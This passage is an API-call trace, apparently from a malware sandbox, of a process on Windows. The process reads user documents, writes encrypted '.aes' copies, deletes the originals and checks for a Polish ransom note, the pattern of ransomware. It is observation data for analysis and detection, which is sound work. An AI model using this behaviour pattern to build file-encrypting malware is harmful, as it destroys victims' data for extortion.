WriteFile (in: hFile=0x34c, lpBuffer=0x2741db0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2741db0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.648] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.648] WriteFile (in: hFile=0x34c, lpBuffer=0x2741db0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2741db0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.648] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.649] WriteFile (in: hFile=0x34c, lpBuffer=0x2741db0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2741db0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.649] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.649] WriteFile (in: hFile=0x34c, lpBuffer=0x2741db0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2741db0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.649] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5830*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.649] WriteFile (in: hFile=0x34c, lpBuffer=0x2741db0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2741db0*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.649] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5830*, lpNumberOfBytesRead=0x77cea50*=0xe55, lpOverlapped=0x0) returned 1 [0074.649] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5830, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5830*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0074.650] WriteFile (in: hFile=0x34c, lpBuffer=0x2741db0*, nNumberOfBytesToWrite=0xf71, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x2741db0*, lpNumberOfBytesWritten=0x77ce974*=0xf71, lpOverlapped=0x0) returned 1 [0074.650] WriteFile (in: hFile=0x34c, lpBuffer=0x2741db0*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x2741db0*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0074.650] CloseHandle (hObject=0x34c) returned 1 [0074.651] CloseHandle (hObject=0x2a8) returned 1 [0074.651] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\vfwuhDCvzF0GRto.pptx", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\vfwuhDCvzF0GRto.pptx", lpFilePart=0x0) returned 0x48 [0074.651] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\vfwuhDCvzF0GRto.pptx" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\vfwuhdcvzf0grto.pptx")) returned 1 [0074.653] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4e [0074.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0074.653] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe63422e0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe63422e0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe63422e0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0074.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0074.653] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0074.737] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\wVF JPe1b.xls", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\wVF JPe1b.xls", lpFilePart=0x0) returned 0x41 [0074.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0074.737] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\wVF JPe1b.xls" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\wvf jpe1b.xls"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ef18fa0, ftCreationTime.dwHighDateTime=0x1d2f943, ftLastAccessTime.dwLowDateTime=0xdc1fdbf0, ftLastAccessTime.dwHighDateTime=0x1d30224, ftLastWriteTime.dwLowDateTime=0xdc1fdbf0, ftLastWriteTime.dwHighDateTime=0x1d30224, nFileSizeHigh=0x0, nFileSizeLow=0xee86)) returned 1 [0074.737] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0074.737] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\wVF JPe1b.xls", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\wVF JPe1b.xls", lpFilePart=0x0) returned 0x41 [0074.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0074.737] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\wVF JPe1b.xls" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\wvf jpe1b.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2a8 [0074.737] GetFileType (hFile=0x2a8) returned 0x1 [0074.737] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0074.737] GetFileType (hFile=0x2a8) returned 0x1 [0074.737] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\wVF JPe1b.xls.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\wVF JPe1b.xls.aes", lpFilePart=0x0) returned 0x45 [0074.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0074.737] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\wVF JPe1b.xls.aes" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\wvf jpe1b.xls.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x34c [0074.737] GetFileType (hFile=0x34c) returned 0x1 [0074.737] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0074.738] GetFileType (hFile=0x34c) returned 0x1 [0074.738] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0074.746] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x7016890 [0074.746] GetNetworkParams (in: pFixedInfo=0x7016890, pOutBufLen=0x77ce624 | out: pFixedInfo=0x7016890, pOutBufLen=0x77ce624) returned 0x0 [0074.757] LocalFree (hMem=0x7016890) returned 0x0 [0074.757] GetAdaptersAddresses () returned 0x6f [0074.765] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7006d18 [0074.765] GetAdaptersAddresses () returned 0x0 [0074.772] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0074.779] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0074.779] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0074.799] LocalFree (hMem=0x1c8b20) returned 0x0 [0074.800] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0074.806] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0074.806] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0074.829] LocalFree (hMem=0x1c8b20) returned 0x0 [0074.829] LocalFree (hMem=0x7006d18) returned 0x0 [0074.829] GetBestInterfaceEx (in: pDestAddr=0x28093a4*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0074.932] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5cb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5cb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.933] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5cb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5cb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.933] WriteFile (in: hFile=0x34c, lpBuffer=0x27b295c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x27b295c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.933] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5cb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5cb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.933] WriteFile (in: hFile=0x34c, lpBuffer=0x27b295c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x27b295c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.934] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5cb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5cb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.934] WriteFile (in: hFile=0x34c, lpBuffer=0x27b295c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x27b295c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.934] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5cb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5cb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.934] WriteFile (in: hFile=0x34c, lpBuffer=0x27b295c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x27b295c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.934] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5cb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5cb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.934] WriteFile (in: hFile=0x34c, lpBuffer=0x27b295c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x27b295c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.935] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5cb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5cb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.935] WriteFile (in: hFile=0x34c, lpBuffer=0x27b295c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x27b295c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.935] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5cb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5cb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.935] WriteFile (in: hFile=0x34c, lpBuffer=0x27b295c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x27b295c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.935] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5cb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5cb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.935] WriteFile (in: hFile=0x34c, lpBuffer=0x27b295c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x27b295c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.935] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5cb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5cb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.936] WriteFile (in: hFile=0x34c, lpBuffer=0x27b295c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x27b295c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.936] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5cb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5cb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.936] WriteFile (in: hFile=0x34c, lpBuffer=0x27b295c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x27b295c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.936] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5cb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5cb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.936] WriteFile (in: hFile=0x34c, lpBuffer=0x27b295c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x27b295c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.936] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5cb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5cb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.937] WriteFile (in: hFile=0x34c, lpBuffer=0x27b295c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x27b295c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.938] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5cb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5cb0*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0074.938] WriteFile (in: hFile=0x34c, lpBuffer=0x27b295c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x27b295c*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0074.938] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5cb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5cb0*, lpNumberOfBytesRead=0x77cea50*=0xe86, lpOverlapped=0x0) returned 1 [0074.938] ReadFile (in: hFile=0x2a8, lpBuffer=0x26b5cb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b5cb0*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0074.938] WriteFile (in: hFile=0x34c, lpBuffer=0x27b295c*, nNumberOfBytesToWrite=0xfa1, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x27b295c*, lpNumberOfBytesWritten=0x77ce974*=0xfa1, lpOverlapped=0x0) returned 1 [0074.938] WriteFile (in: hFile=0x34c, lpBuffer=0x27b295c*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x27b295c*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0074.938] CloseHandle (hObject=0x34c) returned 1 [0074.939] CloseHandle (hObject=0x2a8) returned 1 [0074.939] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\wVF JPe1b.xls", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\wVF JPe1b.xls", lpFilePart=0x0) returned 0x41 [0074.939] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\wVF JPe1b.xls" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\wvf jpe1b.xls")) returned 1 [0074.940] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x4e [0074.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0074.941] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe63422e0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe63422e0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe63422e0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0074.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0074.941] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0074.968] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\n1mKD81VKeIa7S2.rtf", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\n1mKD81VKeIa7S2.rtf", lpFilePart=0x0) returned 0x44 [0074.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0074.968] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\n1mKD81VKeIa7S2.rtf" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\qa6qfkq\\n1mkd81vkeia7s2.rtf"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef8130d0, ftCreationTime.dwHighDateTime=0x1d2fce4, ftLastAccessTime.dwLowDateTime=0x9d9a1f40, ftLastAccessTime.dwHighDateTime=0x1d2fa8a, ftLastWriteTime.dwLowDateTime=0x9d9a1f40, ftLastWriteTime.dwHighDateTime=0x1d2fa8a, nFileSizeHigh=0x0, nFileSizeLow=0xa79e)) returned 1 [0074.968] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0074.968] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\n1mKD81VKeIa7S2.rtf", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\n1mKD81VKeIa7S2.rtf", lpFilePart=0x0) returned 0x44 [0074.968] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0074.968] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\n1mKD81VKeIa7S2.rtf" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\qa6qfkq\\n1mkd81vkeia7s2.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2a8 [0074.968] GetFileType (hFile=0x2a8) returned 0x1 [0074.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0074.969] GetFileType (hFile=0x2a8) returned 0x1 [0074.969] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\n1mKD81VKeIa7S2.rtf.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\n1mKD81VKeIa7S2.rtf.aes", lpFilePart=0x0) returned 0x48 [0074.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0074.969] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\qa6QFkq\\n1mKD81VKeIa7S2.rtf.aes" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\qa6qfkq\\n1mkd81vkeia7s2.rtf.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x34c [0074.969] GetFileType (hFile=0x34c) returned 0x1 [0074.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0074.969] GetFileType (hFile=0x34c) returned 0x1 [0074.969] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0074.979] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6fec798 [0074.979] GetNetworkParams (in: pFixedInfo=0x6fec798, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6fec798, pOutBufLen=0x77ce624) returned 0x0 [0074.988] LocalFree (hMem=0x6fec798) returned 0x0 [0074.988] GetAdaptersAddresses () returned 0x6f [0074.995] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x700ab38 [0074.995] GetAdaptersAddresses () returned 0x0 [0075.002] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0075.009] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2b98 [0075.009] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6ff2b98, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2b98, pOutBufLen=0x77ce38c) returned 0x0 [0075.020] LocalFree (hMem=0x6ff2b98) returned 0x0 [0075.020] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0075.035] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6ff2c68 [0075.035] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6ff2c68, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x6ff2c68, pOutBufLen=0x77ce38c) returned 0x0 [0075.041] LocalFree (hMem=0x6ff2c68) returned 0x0 [0075.042] LocalFree (hMem=0x700ab38) returned 0x0 [0075.042] GetBestInterfaceEx (in: pDestAddr=0x282dea0*(sa_family=2, sin_port=0x0, 